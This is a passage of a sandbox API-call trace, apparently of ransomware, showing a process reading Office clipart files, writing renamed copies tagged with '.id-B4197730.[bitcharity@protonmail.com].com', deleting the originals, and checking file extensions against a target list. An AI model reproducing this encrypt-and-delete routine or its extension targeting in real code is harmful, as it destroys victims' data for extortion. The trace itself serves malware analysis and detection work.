files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0297.469] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.469] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0297.469] GetLastError () returned 0x0 [0297.469] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x439c, lpOverlapped=0x0) returned 1 [0297.590] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x43a0, lpOverlapped=0x0) returned 1 [0297.592] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.592] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.592] SetEndOfFile (hFile=0x10c0) returned 1 [0297.592] CloseHandle (hObject=0x10c0) returned 1 [0297.592] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.592] SetEndOfFile (hFile=0x109c) returned 1 [0297.593] CloseHandle (hObject=0x109c) returned 1 [0297.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0297.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0297.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0297.594] lstrlenW (lpString=".doc") returned 4 [0297.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.594] lstrlenW (lpString=".docx") returned 5 [0297.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.594] lstrlenW (lpString=".pdf") returned 4 [0297.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.594] lstrlenW (lpString=".xls") returned 4 [0297.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.594] lstrlenW (lpString=".xlsx") returned 5 [0297.594] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.594] lstrlenW (lpString=".ppt") returned 4 [0297.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0297.595] lstrlenW (lpString=".zip") returned 4 [0297.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.595] lstrlenW (lpString=".rar") returned 4 [0297.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.595] lstrlenW (lpString=".bz2") returned 4 [0297.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.595] lstrlenW (lpString=".7z") returned 3 [0297.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0297.595] lstrlenW (lpString=".dbf") returned 4 [0297.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0297.595] lstrlenW (lpString=".1cd") returned 4 [0297.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0297.595] lstrlenW (lpString=".jpg") returned 4 [0297.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0297.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0297.595] lstrlenW (lpString=".doc") returned 4 [0297.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.595] lstrlenW (lpString=".docx") returned 5 [0297.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.595] lstrlenW (lpString=".pdf") returned 4 [0297.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.596] lstrlenW (lpString=".xls") returned 4 [0297.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.596] lstrlenW (lpString=".xlsx") returned 5 [0297.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.596] lstrlenW (lpString=".ppt") returned 4 [0297.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0297.596] lstrlenW (lpString=".zip") returned 4 [0297.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.596] lstrlenW (lpString=".rar") returned 4 [0297.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.596] lstrlenW (lpString=".bz2") returned 4 [0297.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.596] lstrlenW (lpString=".7z") returned 3 [0297.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0297.596] lstrlenW (lpString=".dbf") returned 4 [0297.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0297.596] lstrlenW (lpString=".1cd") returned 4 [0297.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0297.596] lstrlenW (lpString=".jpg") returned 4 [0297.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.597] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.597] lstrlenW (lpString="FD00077_.WMF") returned 12 [0297.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0297.597] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=30240) returned 1 [0297.597] CloseHandle (hObject=0x109c) returned 1 [0297.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0297.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0297.598] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.598] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0297.599] GetLastError () returned 0x0 [0297.599] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x7620, lpOverlapped=0x0) returned 1 [0297.651] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x7630, lpOverlapped=0x0) returned 1 [0297.664] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.664] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.664] SetEndOfFile (hFile=0x10c0) returned 1 [0297.664] CloseHandle (hObject=0x10c0) returned 1 [0297.664] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.665] SetEndOfFile (hFile=0x109c) returned 1 [0297.665] CloseHandle (hObject=0x109c) returned 1 [0297.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0297.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0297.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0297.666] lstrlenW (lpString=".doc") returned 4 [0297.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.666] lstrlenW (lpString=".docx") returned 5 [0297.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.666] lstrlenW (lpString=".pdf") returned 4 [0297.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.666] lstrlenW (lpString=".xls") returned 4 [0297.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.666] lstrlenW (lpString=".xlsx") returned 5 [0297.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.666] lstrlenW (lpString=".ppt") returned 4 [0297.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0297.666] lstrlenW (lpString=".zip") returned 4 [0297.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.666] lstrlenW (lpString=".rar") returned 4 [0297.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.666] lstrlenW (lpString=".bz2") returned 4 [0297.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.666] lstrlenW (lpString=".7z") returned 3 [0297.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0297.667] lstrlenW (lpString=".dbf") returned 4 [0297.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0297.667] lstrlenW (lpString=".1cd") returned 4 [0297.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0297.667] lstrlenW (lpString=".jpg") returned 4 [0297.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0297.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0297.667] lstrlenW (lpString=".doc") returned 4 [0297.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.667] lstrlenW (lpString=".docx") returned 5 [0297.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.667] lstrlenW (lpString=".pdf") returned 4 [0297.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.667] lstrlenW (lpString=".xls") returned 4 [0297.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.667] lstrlenW (lpString=".xlsx") returned 5 [0297.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.667] lstrlenW (lpString=".ppt") returned 4 [0297.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0297.667] lstrlenW (lpString=".zip") returned 4 [0297.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.667] lstrlenW (lpString=".rar") returned 4 [0297.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.668] lstrlenW (lpString=".bz2") returned 4 [0297.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.668] lstrlenW (lpString=".7z") returned 3 [0297.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0297.668] lstrlenW (lpString=".dbf") returned 4 [0297.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0297.668] lstrlenW (lpString=".1cd") returned 4 [0297.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0297.668] lstrlenW (lpString=".jpg") returned 4 [0297.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.668] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.668] lstrlenW (lpString="FD00297_.WMF") returned 12 [0297.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0297.669] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=18194) returned 1 [0297.669] CloseHandle (hObject=0x109c) returned 1 [0297.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0297.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0297.669] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.669] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0297.670] GetLastError () returned 0x0 [0297.670] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x4712, lpOverlapped=0x0) returned 1 [0297.713] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x4720, lpOverlapped=0x0) returned 1 [0297.714] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.714] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.714] SetEndOfFile (hFile=0x10c0) returned 1 [0297.714] CloseHandle (hObject=0x10c0) returned 1 [0297.714] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.714] SetEndOfFile (hFile=0x109c) returned 1 [0297.715] CloseHandle (hObject=0x109c) returned 1 [0297.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0297.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0297.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0297.716] lstrlenW (lpString=".doc") returned 4 [0297.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.716] lstrlenW (lpString=".docx") returned 5 [0297.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.716] lstrlenW (lpString=".pdf") returned 4 [0297.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.716] lstrlenW (lpString=".xls") returned 4 [0297.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.716] lstrlenW (lpString=".xlsx") returned 5 [0297.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.716] lstrlenW (lpString=".ppt") returned 4 [0297.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0297.716] lstrlenW (lpString=".zip") returned 4 [0297.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.716] lstrlenW (lpString=".rar") returned 4 [0297.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.716] lstrlenW (lpString=".bz2") returned 4 [0297.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.716] lstrlenW (lpString=".7z") returned 3 [0297.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0297.716] lstrlenW (lpString=".dbf") returned 4 [0297.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0297.716] lstrlenW (lpString=".1cd") returned 4 [0297.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0297.717] lstrlenW (lpString=".jpg") returned 4 [0297.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0297.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0297.717] lstrlenW (lpString=".doc") returned 4 [0297.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.717] lstrlenW (lpString=".docx") returned 5 [0297.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.717] lstrlenW (lpString=".pdf") returned 4 [0297.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.717] lstrlenW (lpString=".xls") returned 4 [0297.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.717] lstrlenW (lpString=".xlsx") returned 5 [0297.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.717] lstrlenW (lpString=".ppt") returned 4 [0297.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0297.717] lstrlenW (lpString=".zip") returned 4 [0297.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.717] lstrlenW (lpString=".rar") returned 4 [0297.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.717] lstrlenW (lpString=".bz2") returned 4 [0297.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.717] lstrlenW (lpString=".7z") returned 3 [0297.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0297.717] lstrlenW (lpString=".dbf") returned 4 [0297.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0297.717] lstrlenW (lpString=".1cd") returned 4 [0297.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0297.718] lstrlenW (lpString=".jpg") returned 4 [0297.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.718] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.718] lstrlenW (lpString="FD00306_.WMF") returned 12 [0297.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0297.718] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=46814) returned 1 [0297.718] CloseHandle (hObject=0x109c) returned 1 [0297.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220 [0297.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 